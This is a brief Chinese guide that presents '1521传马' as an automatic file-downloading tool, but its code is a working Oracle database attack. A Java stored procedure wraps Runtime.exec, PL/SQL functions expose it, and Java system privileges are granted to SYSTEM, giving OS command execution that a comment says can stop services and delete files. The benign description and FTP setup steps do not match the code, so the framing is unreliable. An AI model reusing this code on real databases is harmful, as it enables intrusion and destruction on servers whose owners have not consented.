本简介介绍了一种名为“1521传马”的自动化工具,能够帮助用户每天便捷高效地在网络上搜集和管理大量信息资源。该工具有助于提高工作效率和个人知识积累的速度。请注意合法合规使用网络资源。
个人使用的一种全自动工具可以每天自动下载大量文件。
首先安装两个必要的软件组件:
1. 安装FTP服务,并配置好自己的FTP地址、账户及密码。
2. 在目录中打开并编辑java.sql文件,根据需要修改其中的FTP地址、账户和密码等信息。
完成以上步骤后,请将编辑好的java.sql 文件放置在C盘根目录下即可!
创建或替换名为 util 的Java源代码如下:
```sql
create or replace and compile java source named util as
import java.io.*;
import java.lang.*;
public class util extends Object {
public static int RunThis(String args) {
Runtime rt = Runtime.getRuntime();
int RC = -1;
try{
Process p = rt.exec(args);
// 回显程序输出
byte[] buffer = new byte[4096];
InputStream is = p.getInputStream();
while (is.read(buffer, 0, buffer.length) != -1){
System.out.write(buffer, 0, is.available());
}
RC = p.waitFor();
}catch (Exception e){
e.printStackTrace();
RC = -1;
}finally{
return RC;
}
}
}
```
创建或替换名为 RUN_CMz 的函数如下:
```sql
create or replace function RUN_CMZ(p_cmd in varchar2)
return number as language java name util.RunThis(java.lang.String) return integer;
```
创建或替换名为 RC 的存储过程如下:
```sql
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
```
执行以下命令来运行程序:
```sql
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;
-- 执行一系列的cmd命令,如停止服务、删除文件等。
```
请注意:以上内容涉及敏感操作,请谨慎使用。